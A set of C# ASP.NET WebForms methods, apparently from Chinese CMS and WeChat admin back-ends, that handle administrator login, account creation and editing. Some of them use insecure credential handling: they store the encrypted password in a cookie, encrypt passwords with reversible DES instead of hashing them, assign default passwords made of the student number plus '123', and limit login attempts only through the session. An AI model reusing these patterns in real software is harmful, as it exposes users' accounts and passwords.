protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } // 保存当前的后台管理员 Session[MXKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, MXEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "MxWeiXinPF", model.user_name); Utils.WriteCookie("AdminPwd", "MxWeiXinPF", model.password); Response.Redirect("wxIndex.aspx"); return; }
private bool DoAdd() { bool result = false; Model.student model = new Model.student(); BLL.student bll = new BLL.student(); model.no = txtNo.Text.Trim(); model.name = txtName.Text.Trim(); model.school = txtSchool.Text.Trim(); model.score = txtScore.Text.Trim(); model.re_score = txtReScore.Text.Trim(); model.attach = txtAttach.Text.Trim(); model.add_time = Utils.StrToDateTime(txtAddTime.Text.Trim()); model.is_aca = Utils.ObjectToStr(rblIsAca.SelectedValue); //该研究生已经存在 if (bll.Exists(model.no)) { JscriptMsg("编号不能重复!", string.Empty); return(result); } if (bll.Add(model) > 0) { Model.manager manModel = new Model.manager(); BLL.manager manBll = new BLL.manager(); //不存在用户则进行提前加 if (!manBll.Exists(model.no)) { manModel.role_id = 2; manModel.role_type = new BLL.manager_role().GetModel(manModel.role_id).role_type; manModel.is_lock = 0; manModel.user_name = model.no; manModel.real_name = model.name; //获得6位的salt加密字符串 manModel.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 manModel.password = DESEncrypt.Encrypt(model.no + "123", manModel.salt); manModel.real_name = model.name; manModel.add_time = DateTime.Now; manBll.Add(manModel); } AddAdminLog(DTEnums.ActionEnum.Add.ToString(), "添加研究生" + model.name); //记录日志 result = true; } return(result); }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; if (!string.IsNullOrEmpty(model.user_pwd)) { txtUserPwd.Attributes["value"] = txtUserPwd1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
public void CheckDateValid_Manager() { try { BLL.manager bll_manager = new BLL.manager(); int result = bll_manager.CheckDateValid_Manager(); Utils.WriteFileText("账户检查成功,过期条数:" + result + ",检查时间:" + DateTime.Now.ToString(), "Log/manager.txt"); HttpContext.Current.ApplicationInstance.CompleteRequest(); } catch (Exception ex) { Utils.WriteFileText("账户检查失败,失败信息:" + ex.Message, "Log/manager.txt"); HttpContext.Current.ApplicationInstance.CompleteRequest(); //return; } }
//批量删除 protected void btnDelete_Click(object sender, EventArgs e) { ChkAdminLevel("manager_list", MXEnums.ActionEnum.Delete.ToString()); //检查权限 BLL.wx_userweixin wBll = new BLL.wx_userweixin(); int sucCount = 0; int errorCount = 0; BLL.manager bll = new BLL.manager(); for (int i = 0; i < rptList.Items.Count; i++) { int id = Convert.ToInt32(((HiddenField)rptList.Items[i].FindControl("hidId")).Value); CheckBox cb = (CheckBox)rptList.Items[i].FindControl("chkId"); if (cb.Checked) { int hasNum = wBll.GetUserWxNumCount(id); if (hasNum > 0) { JscriptMsg("该用户已经添加微信号,无法删除!", "back", "Error"); return; } } } for (int i = 0; i < rptList.Items.Count; i++) { int id = Convert.ToInt32(((HiddenField)rptList.Items[i].FindControl("hidId")).Value); CheckBox cb = (CheckBox)rptList.Items[i].FindControl("chkId"); if (cb.Checked) { int hasNum = wBll.GetUserWxNumCount(id); if (bll.Delete(id)) { sucCount += 1; } else { errorCount += 1; } } } AddAdminLog(MXEnums.ActionEnum.Delete.ToString(), "删除用户" + sucCount + "条,失败" + errorCount + "条"); //记录日志 JscriptMsg("删除成功" + sucCount + "条,失败" + errorCount + "条!", Utils.CombUrlTxt("manager_list.aspx", "keywords={0}", this.keywords), "Success"); }
private void ShowInfo(int id) { litpwdtip.Text = "不填则不修改密码"; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(id); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtRemark.Text = model.remark; }
private void ShowInfo(int _id) { lblid.Text = _id.ToString(); BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); lblUserName.Text = model.user_name; txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtqq.Text = model.qq; ddlProvince.SelectedValue = model.province; ddlCity.SelectedValue = model.city; txtArea.Text = model.county; }
private bool DoAdd() { bool result = true; Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; model.is_lock = int.Parse(rblIsLock.SelectedValue); model.user_name = txtUserName.Text.Trim(); model.user_pwd = DESEncrypt.Encrypt(txtUserPwd.Text.Trim()); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; if (bll.Add(model) < 1) { result = false; } return result; }
private void ShowInfo(Model.manager model) { lblRole.Text = new BLL.manager_role().GetTitle(model.role_id); BLL.manager bll_manager = new BLL.manager(); switch (model.is_lock) { case 0: lblStatus.Text = "正常"; break; case 1: lblStatus.Text = "待验证"; break; case 2: lblStatus.Text = "待审核"; break; case 3: lblStatus.Text = "锁定"; break; } lblUserName.Text = model.user_name; lblStartDate.Text = model.start_date; lblEndDate.Text = model.end_date; lblReamName.Text = model.real_name; lblMobile.Text = model.telephone; lblCard.Text = string.IsNullOrEmpty(model.card) ? "待补充" : model.card; lblPhone.Text = string.IsNullOrEmpty(model.phone) ? "待补充" : model.phone; lblAddress.Text = string.IsNullOrEmpty(model.address) ? "待补充" : model.address; try { lblTeamType.Text = model.type == 0 ? "国际旅行社" : "国内旅行社"; } catch { lblTeamType.Text = "待补充"; } ImgLogo.ImageUrl = string.IsNullOrEmpty(model.img_url) ? "../images/default.jpg" : model.img_url; ImgYingye.ImageUrl = string.IsNullOrEmpty(model.license) ? "../images/default.jpg" : model.license; txtContent.Text = string.IsNullOrEmpty(model.description) ? "待补充" : model.description; lblAddTime.Text = model.add_time.ToString(); }
private bool DoEdit() { BLL.manager bll_manager = new BLL.manager(); bool result = true; Model.manager model = GetAdminInfo(); model.real_name = txtRealName.Text.Trim(); model.telephone = txtMobile.Text.Trim(); model.email = "";// txtEmail.Text.Trim(); model.phone = txtPhone.Text.Trim(); model.address = txtAddress.Text.Trim(); model.card = txtCard.Text.Trim(); model.img_url = txtLogo.Text.Trim(); model.license = txtYingye.Text.Trim(); model.description = txtContent.Text.Trim(); if (!bll_manager.Update(model)) { result = false; } return result; }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); if (!string.IsNullOrEmpty(model.password)) { txtPassword.Attributes["value"] = txtPassword1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
private bool DoAdd() { Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //检测用户名是否重复 if (bll.Exists(txtUserName.Text.Trim())) { return false; } model.user_name = txtUserName.Text.Trim(); //获得6位的salt加密字符串 model.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; if (bll.Add(model) > 0) { AddAdminLog(DTEnums.ActionEnum.Add.ToString(), "添加管理员:" + model.user_name); //记录日志 return true; } return false; }
private bool DoAdd() { //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //检测用户名是否重复 if (bll.Exists(txtUserName.Text.Trim())) { return false; } model.user_name = txtUserName.Text.Trim(); //获得6位的salt加密字符串 model.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; model.wxNum = int.Parse(txtMaxNum.Text); model.agentId = GetAdminInfo().id; model.qq = txtqq.Text; model.email = txtEmail.Text; model.reg_ip = MXRequest.GetIP(); model.province = prov; model.city = city; model.county = dist; model.sort_id=MyCommFun.Obj2Int(txtSortid.Text); if (bll.Add(model) > 0) { AddAdminLog(MXEnums.ActionEnum.Add.ToString(), "添加用户:" + model.user_name); //记录日志 return true; } return false; }
private void manager_validate(HttpContext context) { string user_name = MXRequest.GetString("param"); if (string.IsNullOrEmpty(user_name)) { context.Response.Write("{ \"info\":\"请输入用户名\", \"status\":\"n\" }"); return; } BLL.manager bll = new BLL.manager(); if (bll.Exists(user_name)) { context.Response.Write("{ \"info\":\"用户名已被占用,请更换!\", \"status\":\"n\" }"); return; } context.Response.Write("{ \"info\":\"用户名可使用\", \"status\":\"y\" }"); return; }
private bool DoEdit(int id) { Model.manager adminEntity = GetAdminInfo(); //取得管理员信息 BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(id); model.is_lock = MyCommFun.Str2Int(rblIsLock.SelectedValue); //判断密码是否更改 if (txtPassword.Text.Trim() != "") { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.remark = txtRemark.Text; bool updateRet = bll.Update(model); if (updateRet) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改酒店管理员信息:" + model.user_name); //记录日志 return true; } return false; }
private bool DoAdd() { Model.manager adminEntity = GetAdminInfo(); //取得管理员信息 Model.manager model = new Model.manager(); BLL.manager bll = new BLL.manager(); //固定为餐饮管理员的角色 model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; model.is_lock = MyCommFun.Str2Int(rblIsLock.SelectedValue); //检测用户名是否重复 if (bll.Exists(txtUserName.Text.Trim())) { return false; } model.user_name = txtUserName.Text.Trim(); //获得6位的salt加密字符串 model.salt = Utils.GetCheckCode(6); //以随机生成的6位字符串做为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.add_time = DateTime.Now; model.wxNum = 0; model.agentId = GetAdminInfo().id; model.qq = string.Empty; model.email = txtEmail.Text; model.reg_ip = MXRequest.GetIP(); model.agentLevel = -1; model.remark = txtRemark.Text; model.agentId = adminEntity.id; int addId = bll.Add(model); if (addId > 0) { //添加商铺与管理人员的关联 BLL.wx_hotel_user hotelUserBll = new BLL.wx_hotel_user(); Model.wx_hotel_user hotelUser = new Model.wx_hotel_user(); hotelUser.ManagerId = addId; hotelUser.HotelId = hotelid; hotelUser.AdminId = GetAdminInfo().id; int addhotelAdminId = hotelUserBll.Add(hotelUser); if (addhotelAdminId <= 0) { bll.Delete(addId); addId = 0; } } if (addId > 0) { AddAdminLog(MXEnums.ActionEnum.Add.ToString(), "添加酒店管理员:" + model.user_name); //记录日志 return true; } return false; }
private bool DoEdit(int _id) { //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != "") { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.wxNum = int.Parse(txtMaxNum.Text); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; model.sort_id = MyCommFun.Str2Int(txtSortid.Text); if (bll.Update(model)) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改用户:" + model.user_name); //记录日志 result = true; } return result; }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtUserPwd.Text.Trim(); string code = txtCode.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { lblTip.Visible = true; lblTip.Text = "请输入用户名或密码"; return; } if (code.Equals("")) { lblTip.Visible = true; lblTip.Text = "请输入验证码"; return; } if (Session[DTKeys.SESSION_CODE] == null) { lblTip.Visible = true; lblTip.Text = "系统找不到验证码"; return; } if (code.ToLower() != Session[DTKeys.SESSION_CODE].ToString().ToLower()) { lblTip.Visible = true; lblTip.Text = "验证码输入不正确"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, DESEncrypt.Encrypt(userPwd)); if (model == null) { lblTip.Visible = true; lblTip.Text = "用户名或密码有误"; return; } Session[DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(Utils.GetXmlMapPath(DTKeys.FILE_SITE_XML_CONFING)); if (siteConfig.logstatus > 0) { Model.manager_log modelLog = new Model.manager_log(); modelLog.user_id = model.id; modelLog.user_name = model.user_name; modelLog.action_type = "login"; modelLog.note = "用户登录"; modelLog.login_ip = DTRequest.GetIP(); modelLog.login_time = DateTime.Now; new BLL.manager_log().Add(modelLog); } //写入Cookies if (cbRememberId.Checked) { Utils.WriteCookie("DTRememberName", model.user_name, 14400); } else { Utils.WriteCookie("DTRememberName", model.user_name, -14400); } Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.user_pwd); Response.Redirect("index.aspx"); return; }